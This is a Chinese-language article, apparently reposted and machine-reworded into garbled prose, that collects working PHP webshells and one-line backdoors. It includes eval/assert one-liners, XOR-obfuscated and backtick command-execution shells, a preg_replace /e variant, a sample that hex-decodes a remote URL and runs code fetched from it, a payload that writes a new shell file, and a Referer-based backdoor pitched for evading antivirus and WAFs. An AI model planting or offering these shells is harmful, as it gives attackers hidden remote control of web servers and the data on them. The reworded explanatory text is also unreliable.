一个最普遍的一句话后门很有可能写作那样
<?php @eval($_POST['cmd']);?>
或那样
<?php @assert($_POST['cmd']);?>
tudouya 同学们在FREEBUF上得出[一种结构方法]运用
复制代码 编码以下:
<?php @$_ ; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>
结构转化成,自然,嫌太形象化能够 写作那样
复制代码 编码以下:
<?php @$_ ;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
随后再添充些一般编码开展掩藏,一个简易的”免杀”shell样版就出現了
大家再讨论一下称为史上最牛简易免杀毒php后门
立即上编码:
<?php $c=urldecode($_GET['c']);if($c){`$c`;}//详细 !$_GET['c']||`{$_GET['c']}`;//精减 /******************************************************* * 基本原理:PHP中``标记包括会作为DOS命令实行 * 实例:http://host/?c=type config.php>config.txt * 随后就可以下载config.txt查询內容了! * 能够 试一下更超级变态的指令,不必干坏事哦! *******************************************************/
其完成基本原理便是PHP会立即将 ` 标记(留意:并不是单引号)包括的內容分析为DOS命令实行!那样就可以随意超级变态地拓展了!
再看来一样非常简单的一段编码
<?php preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); ?>
登陆密码page
最近捕捉一个根据PHP完成的webshell样版,其恰当的编码动态性生成方式,猥亵的本身网页页面掩藏技巧,使我们在剖析这一样版的全过程中感受到非常多的快乐。接下去就要大家一同共赏这一奇怪的Webshell吧。
Webshell编码以下:
<?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c7c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?>
重要看下面这句话编码,
复制代码 编码以下:
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c7c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
这儿实行以后实际上是一张图片,破译出去的图片地址以下:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
随后启用file_get_contents函数载入照片为字符串数组,随后substr取3649字节数以后的內容,再启用gzuncompress缓解压力,获得真实的编码。最终启用preg_replace的修饰符e来实行恶意程序的。这儿实行下列句子来复原出故意样版编码,
复制代码 编码以下:
<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c7c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>
无特点掩藏PHP一句话:
<?php session_start(); $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); ?>
将$_POST['code']的內容取值给$_SESSION['theCode'],随后实行$_SESSION['theCode'],闪光点是沒有特征码。用漏洞扫描工具来查验编码得话,是不容易警报的,做到目地了。
非常隐敝的PHP后门:
<?php $_GET [a]( $_GET [b]);?>
仅用GET涵数就组成了木马病毒;
运用方式 :
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
实行后当前目录转化成c.php一句话木马病毒,当传参a为eval的时候会出错木马病毒转化成不成功,为assert时一样出错,但会转化成木马病毒,真可以说不能小看,很简单的一句话,被拓宽到如此运用。
等级要求,编号运作PHP后门:
此方式 用2个文档完成,文档1
<?php //1.php header( 'Content-type:text/html;charset=utf-8' ); parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); if (reset( $a ) == '10' && count ( $a ) == 9) { eval ( base64_decode ( str_replace ( " " , " " , implode( array_slice ( $a , 6))))); } ?>
文档2
<?php //2.php header( 'Content-type:text/html;charset=utf-8' ); //要实行的编码 $code = <<<CODE phpinfo(); CODE; //开展base64编号 $code = base64_encode ( $code ); //结构referer字符串数组 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; //后门url $url = 'http://localhost/test1/1.php ' ; $ch = curl_init(); $options = array ( CURLOPT_URL => $url , CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array( $ch , $options ); echocurl_exec( $ch ); ?>
根据HTTP要求中的HTTP_REFERER来运作历经base64编号的编码,来做到后门的实际效果,一般waf对referer这种检验要松一点,或是沒有检验。用这一构思bypass waf非常好。
大家以一个学习心态来看待这种PHP后门程序流程,许多PHP后门编码使我们见到程序猿们是多么的的良苦用心。